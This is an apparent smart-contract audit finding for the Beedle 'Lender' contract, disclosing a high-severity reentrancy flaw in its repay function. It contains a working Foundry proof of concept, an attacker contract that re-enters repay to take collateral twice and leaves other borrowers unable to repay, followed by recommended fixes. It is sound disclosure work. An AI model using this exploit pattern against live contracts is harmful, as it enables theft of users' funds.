Beedle - Oracle free perpetual lending
BeedleFi
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

`Lender` contract does not fully follow CEI pattern and is vulnerable to reentrancy attacks

stermi

Summary

The functions implemented in the Lender contract do not always follow the CEI Pattern (Checks-Effects-Interactions Pattern) and are vulnerable to re-entrancy types of attacks.

An example of attack would be a borrower that could multiple-repay his debt by stealing multiple-time the collateral token. The attacker would perform the attack when the collateral value is higher than the lending token value.

In this kind of attack, other borrowers would not be able to repay their debts because the pool accounting variable would underflow when updated and anyway the Lending contract would have less amount of collateralToken needed to execute the repayment operation.

Vulnerability Details

The functions implemented in the Lender contract do not always follow the CEI Pattern (Checks-Effects-Interactions Pattern) and are vulnerable to re-entrancy types of attacks.

An example of attack would be a borrower that could multiple-repay his debt by stealing multiple-time the collateral token. The attacker would perform the attack when the collateral value is higher than the lending token value.

In this kind of attack, other borrowers would not be able to repay their debts because the pool accounting variable would underflow when updated and anyway the Lending contract would have less amount of collateralToken needed to execute the repayment operation.

Let's make an example

  • lender1 create a pool that has a normal lendingToken but a collateralToken with callback (like ERC777) or some kind of form of flow that allows re-entrancy.

  • borrower1 borrow 300 ether of lendingToken and provides 300 ether of collateralToken

  • attacker deploys an AttackerContract that will support the collateralToken callbacks on transfer. Via the AttackerContract perform a borrow of 100 ether of lendingToken and provides 300 ether of collateralToken

  • attacker via AttackerContract execute a repay of the loan that will re-enter one time the repay operation. After the execution, the attacker has repaid 200 ether of lendingToken but has gained 200 ether of collateral token.

  • At this point, the borrower1 user will not be able to repay is debt and get back the provided collateral because the operation will revert to an underflow error

Impact

The attacker can repay-multiple-times the loan and steal multiple times the collateral amount provided with the borrow operation.

Normal borrowers of the same pool (or pools that use the same tokens) could not be able to repay the operation because of an underflow revert.

Tools Used

Manual + foundry test

BaseLender.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
​
import "forge-std/Test.sol";
import "../src/Lender.sol";
​
import {ERC20} from "solady/src/tokens/ERC20.sol";
​
contract TERC20 is ERC20 {
​
function name() public pure override returns (string memory) {
return "Test ERC20";
}
​
function symbol() public pure override returns (string memory) {
return "TERC20";
}
​
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
​
contract WrappedLender is Lender {
function getLoanDebtDetail(uint256 loanId) external view returns (uint256 fullDebt, uint256 interest, uint256 fees) {
Loan memory loan = loans[loanId];
// calculate the accrued interest
(interest, fees) = _calculateInterest(loan);
fullDebt = loan.debt + interest + fees;
}
​
function getPoolInfo(bytes32 poolId) external view returns (Pool memory) {
return pools[poolId];
}
​
function getLoanInfo(uint256 loanId) external view returns (Loan memory) {
return loans[loanId];
}
}
​
contract BaseLender is Test {
WrappedLender public lender;
​
TERC20 public loanToken;
TERC20 public collateralToken;
​
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
​
function setUp() public virtual {
lender = new WrappedLender();
loanToken = new TERC20();
collateralToken = new TERC20();
​
loanToken.mint(address(lender1), 100000 ether);
loanToken.mint(address(lender2), 100000 ether);
collateralToken.mint(address(borrower), 100000 ether);
​
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
​
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
​
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
}
​
​
function borrow(address _borrower, bytes32 poolId) public {
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 ether,
collateral: 100 ether
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.stopPrank();
}
​
function createPool(address _lender) public returns (bytes32){
vm.startPrank(_lender);
Pool memory p = Pool({
lender: _lender,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 ether,
poolBalance: 1000 ether,
maxLoanRatio: 2 ether,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
​
return poolId;
}
​
function startAuction(address _lender, uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
​
vm.prank(_lender);
lender.startAuction(loans);
}
​
function seizeLoan(uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
lender.seizeLoan(loans);
}
​
function getPoolId(address _lender) public returns (bytes32) {
return keccak256(
abi.encode(
address(_lender),
address(loanToken),
address(collateralToken)
)
);
}
}

ERC20ReenterTest.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
​
import "./BaseLender.sol";
​
contract ERC20TransferCallback is ERC20 {
uint256 public constant FEE_BPS = 50; // 0.5%
​
uint256 public feeAccumulated;
​
function name() public pure override returns (string memory) {
return "Test ERC20WithFee";
}
​
function symbol() public pure override returns (string memory) {
return "ERC20WithFee";
}
​
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
​
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override {
from.call(
abi.encodeWithSignature("beforeTokenTransfer(address,address,uint256)", from, to, amount)
);
}
​
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
from.call(
abi.encodeWithSignature("afterTokenTransfer(address,address,uint256)", from, to, amount)
);
}
}
​
contract BorrowerContract {
​
address owner;
bool enableAttack;
WrappedLender lender;
uint256 loanIdToAttack;
​
constructor(WrappedLender _lender) {
lender = _lender;
enableAttack = false;
owner = msg.sender;
}
​
function borrow(bytes32 poolId, uint256 debtToTake, uint256 collateralToGive) external {
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: poolId,
debt: debtToTake,
collateral: collateralToGive
});
lender.borrow(borrows);
}
​
function repayNormal(uint256 loanId) external {
_repay(loanId, false);
}
​
function repayAttack(uint256 loanId) external {
_repay(loanId, true);
}
​
function _repay(uint256 loanId, bool _enableAttack) internal {
loanIdToAttack = loanId;
enableAttack = _enableAttack;
​
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
​
lender.repay(loans);
}
​
function setEnableHack(bool value) external {
enableAttack = value;
}
​
function beforeTokenTransfer(address from, address to, uint256 amount) external {
// re-enter the repay flow to pay for a second time and get double the amount of collateral provided
if( enableAttack ) {
enableAttack = false;
uint256[] memory loans = new uint256[](1);
loans[0] = loanIdToAttack;
lender.repay(loans);
console.log('reentered repay yessss!');
}
}
​
function sweep(ERC20 token) external {
token.transfer(owner, token.balanceOf(address(this)));
}
}
​
contract ERC20ReenterTest is BaseLender {
​
function setUp() override public {
super.setUp();
}
​
function testERC20WithCallbacks() public {
// attacker deploy the attack contract
address attacker = makeAddr("attacker");
vm.prank(attacker);
BorrowerContract borrowerContract = new BorrowerContract(lender);
​
// setup erc20
ERC20TransferCallback newCollateralToken = new ERC20TransferCallback();
ERC20TransferCallback newLendingToken = new ERC20TransferCallback();
​
vm.startPrank(lender1);
newCollateralToken.mint(lender1, 10_000 ether);
newCollateralToken.approve(address(lender), type(uint256).max);
newLendingToken.mint(lender1, 10_000 ether);
newLendingToken.approve(address(lender), type(uint256).max);
vm.stopPrank();
​
vm.startPrank(address(borrowerContract));
newCollateralToken.mint(address(borrowerContract), 10_000 ether);
newCollateralToken.approve(address(lender), type(uint256).max);
newLendingToken.mint(address(borrowerContract), 10_000 ether);
newLendingToken.approve(address(lender), type(uint256).max);
vm.stopPrank();
​
vm.startPrank(borrower);
newCollateralToken.mint(borrower, 10_000 ether);
newCollateralToken.approve(address(lender), type(uint256).max);
newLendingToken.mint(borrower, 10_000 ether);
newLendingToken.approve(address(lender), type(uint256).max);
vm.stopPrank();
​
// create a lending pool
​
vm.prank(lender1);
bytes32 poolId = lender.setPool(Pool({
lender: lender1,
loanToken: address(newLendingToken),
collateralToken: address(newCollateralToken),
minLoanSize: 1 ether,
poolBalance: 1000 ether,
maxLoanRatio: 2 ether,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
}));
​
// "normal borrower" borrow
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: poolId,
debt: 300 ether,
collateral: 300 ether
});
vm.prank(borrower);
lender.borrow(borrows);
​
// now the attacker borrow via the BorrowContract
uint256 collateralTokenBalanceBefore = newCollateralToken.balanceOf(address(borrowerContract));
uint256 lendingTokenBalanceBefore = newLendingToken.balanceOf(address(borrowerContract));
​
// attacker contrats borrow 100 ether of lending token providing 100 ether of collateral token
uint256 debtToTake = 100 ether;
uint256 collateralToGive = 100 ether;
borrowerContract.borrow(poolId, debtToTake, collateralToGive);
​
// borrower contract repay re-entering the repay function on lender contract
// this allows the repayer to double repay the lending token twice but also getting the
​
uint256 lenderContractCollateralBalanceBefore = newCollateralToken.balanceOf(address(lender));
​
borrowerContract.repayAttack(1);
​
uint256 lenderContractCollateralBalanceAfter = newCollateralToken.balanceOf(address(lender));
​
uint256 collateralTokenBalanceAfter = newCollateralToken.balanceOf(address(borrowerContract));
uint256 lendingTokenBalanceAfter = newLendingToken.balanceOf(address(borrowerContract));
​
console.log('lcb', lenderContractCollateralBalanceBefore);
console.log('lca', lenderContractCollateralBalanceAfter);
​
// We assert that we got an additional 100 ether (collateralToGive) on top of what we had before
assertEq(collateralTokenBalanceAfter, collateralTokenBalanceBefore + collateralToGive);
// To get back that additional collateral we have to repaid again so our final amount of lendingToken will be less than the initial amount
assertLt(lendingTokenBalanceAfter, lendingTokenBalanceBefore - debtToTake);
// Assert that we have stolen (by double repaying)
assertEq(lenderContractCollateralBalanceAfter, lenderContractCollateralBalanceBefore - (2 * collateralToGive));
​
// If I try to repay again (now that the state variables have been updated) it will correctly revert because our Loan has been removed
// and the pool has been updated
vm.expectRevert();
borrowerContract.repayNormal(1);
​
// "normal" borrower user try to repay his debt but it will revert for underflow
uint256[] memory loans = new uint256[](1);
loans[0] = 0;
​
vm.prank(borrower);
vm.expectRevert(stdError.arithmeticError);
lender.repay(loans);
​
}
​
}

Recommendations

The protocol should

  1. Follow the CEI Pattern in all the functions that perform transfer and transferForm ERC20 operations

  2. Add additional Reentrancy Guards where needed

  3. Consider adding a whitelist of enabled tokens that can be used to create the Pools. The whitelist should not include ERC777-like tokens, rebasing/inflationary/deflationary and fee-on-transfer tokens.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!